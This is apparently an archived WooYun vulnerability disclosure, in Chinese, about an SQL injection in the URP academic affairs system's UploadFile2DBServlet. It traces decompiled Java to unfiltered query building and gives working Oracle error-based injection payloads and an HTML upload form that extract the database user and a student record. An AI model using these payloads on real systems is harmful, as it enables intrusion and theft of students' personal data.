当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0115889

漏洞标题:URP教务系统某处SQL注入

相关厂商:北京清元优软科技有限公司

漏洞作者: Th1nk

提交时间:2015-05-25 15:09

修复时间:2015-08-28 15:10

公开时间:2015-08-28 15:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-25: 细节已通知厂商并且等待厂商处理中
2015-05-30: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-07-24: 细节向核心白帽子及相关领域专家公开
2015-08-03: 细节向普通白帽子公开
2015-08-13: 细节向实习白帽子公开
2015-08-28: 细节向公众公开

简要描述:

URP教务系统某处SQL注入,可脱裤

详细说明:

刚学j2ee,听过urp给钱多,我来试试。
看看servlet呗
com/runqian/report/input/UploadFile2DBServlet
反编译class得到java源码
UploadFile2DBServlet.java

public void service(HttpServletRequest request, HttpServletResponse response)
throws ServletException
{
/*省略了一些代码*/
upload = new Upload(getServletConfig(), request, response);
String update = upload.getParameter("update");
data = new SegmentSet(upload.getParameter("data"), true, ';');
originData = new SegmentSet(upload.getParameter("originData"), true, ';');
UpdateProp up = new UpdateProp(update);


第76行,从用户处取得了update参数。
然后第78行将update放入UpdateProp,创建一个新对象up,我们来看看UpdateProp是个什么类?
来看看他的析构函数

public class UpdateProp
{
public UpdateProp(String prop)
{
_$22111 = new ArrayList();
if(prop != null && prop.trim().length() > 0)
{
for(ArgumentTokenizer at = new ArgumentTokenizer(prop, '\0'); at.hasMoreTokens();)
{
String update = at.nextToken();
if(update != null && update.trim().length() != 0)
{
SegmentSet segs = new SegmentSet(update, true, ';', true);
_$22111.add(segs);
}
}
}
}


其实就是将update传入的参数先用\0拆分,然后用;拆分,放入数组_$22111中
然后返回这个数组。
然后我们继续看80-92行

tbl = up.getTableName(0);
key = _$24713(up.getKeyCol(0));
keyValue = _$24713(up.getKeyValue(0));
if(key.size() == 0)
throw new Exception(up.toString() + "\u4E2D\u6CA1\u6709\u6307\u5B9A\u5173\u952E\u5B57\u6BB5! ");
if(key.size() != keyValue.size())
throw new Exception(up.getKeyCol(0) + "\u4E0E" + up.getKeyValue(0) + "\u4E2A\u6570\u4E0D\u7B49\uFF01");
updateCol = _$24713(up.getUpdateCol(0));
if(updateCol.size() == 0)
throw new Exception(up.toString() + "\u4E2D\u6CA1\u6709\u6307\u5B9A\u53EF\u66F4\u65B0\u5B57\u6BB5! ");
updateValue = _$24713(up.getUpdateValue(0));
if(updateCol.size() != updateValue.size())
throw new Exception(up.getUpdateCol(0) + "\u4E0E" + up.getUpdateValue(0) + "\u4E2A\u6570\u4E0D\u7B49\uFF01");


主要就是对刚才那个数组的的各个键进行取值,比较。如果不符合要求就退出去。
然后来到106-132行

String sql = "select count(*) from " + tbl + " where ";
String where = "";
for(int k = 0; k < key.size(); k++)
{
String colName = (String)key.get(k);
String colValue = _$33905(originData, ((String)keyValue.get(k)).toUpperCase());
if(colValue == null || colValue.trim().length() == 0)
{
isInsert = true;
break;
}
where = where + colName + " = " + DataTypes.getDBConst(dbType, colValue, keyTypes[k]);
if(k < key.size() - 1)
where = where + " and ";
}
stmt = con.createStatement();
if(!isInsert)
{
sql = sql + where;
if(sqlcode)
sql = new String(sql.getBytes("GBK"), dbEncode);
ResultSet rs = stmt.executeQuery(sql);
rs.next();
if(rs.getInt(1) == 0)
isInsert = true;
}


就是把刚才得到的各个值,进行取值,然后拼接,拼接成sql语句,最终放入
stmt.executeQuery(sql);
执行。
这其中并没有任何的过滤,于是造成sql注入。

漏洞证明:

构造表单

<html>
<form action="http://xxx.edu.cn/servlet/com.runqian.report.input.UploadFile2DBServlet" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
cachedId:<input type="text" name="update" value="tbl=dual;keyValue=2;keyCol=1;updateValue=1;updateCol=1">
srcType:<input type="text" name="xh" value="test">
<input type="text" name="processor" value="com.runqian.report.input.AbstractProcessor">
<input type="text" name="backAndRefresh" value="test">
<input type="text" name="webTableName" value="test11">
<input type="text" name="importTo" value="text">
<input type="text" name="params" value="params">
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</html>


随便上传一个文件,上传时抓包
update填tbl=dual;keyValue=2;keyCol=1;updateValue=1;updateCol=1。
结果如图

1.png


此时是因为keyCol=1,1这个列索引不存在
此处直接在tbl处注入,把后面的东西注释掉就好了
因为开启了oracle报错。
那就简单了。
报错注入下
以爆数据库名为例
update内容为

tbl=dual/**/where/**/1=to_char(dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" from sys.dual'))--;keyValue=1;keyCol=1;updateValue=1;updateCol=1;


1.png


然后注入出一条数据为例
udpate内容为

tbl=dual/**/where/**/1=to_char(dbms_xmlgen.getxml('select "'||(select xh||'#'||xm||'#'||xb from xs_xjb where rownum=1)||'" from sys.dual'))--;keyValue=1;keyCol=1;updateValue=1;updateCol=1;


1.png

修复方案:

过滤过滤

版权声明:转载请注明来源 Th1nk@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-08-28 15:10

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

2015-08-28:系统不需要调用此文件进行业务处理,屏蔽此文件


漏洞评价:

评论

  1. 2015-05-25 16:28 | 不能忍 ( 实习白帽子 | Rank:32 漏洞数:16 | 不要关注我,给我钱就好。)

    你关注的大牛 Th1nk 发表了漏洞 URP教务系统某处SQL注入

  2. 2015-05-25 19:28 | 命运 ( 路人 | Rank:2 漏洞数:1 | 我是来乌云秀智商下限的~~)

    然而不能GETSHELL有个鸟用...

  3. 2015-05-25 20:28 | 不能忍 ( 实习白帽子 | Rank:32 漏洞数:16 | 不要关注我,给我钱就好。)

    @命运 这好像是通用型的bug

  4. 2015-05-28 21:47 | 命运 ( 路人 | Rank:2 漏洞数:1 | 我是来乌云秀智商下限的~~)

    @不能忍 然而并没有什么卵用 还是getshell比较爽

  5. 2015-08-29 08:48 | 北京清元优软科技有限公司(乌云厂商)

    此漏洞已经修复,感谢您的提交

  6. 2015-08-29 18:34 | HackPanda ( 普通白帽子 | Rank:113 漏洞数:15 | Talk is cheap,show me the shell.)

    @北京清元优软科技有限公司 开发都快走完了吧…

  7. 2015-09-02 19:16 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    原来这也可以作为忽略的借口。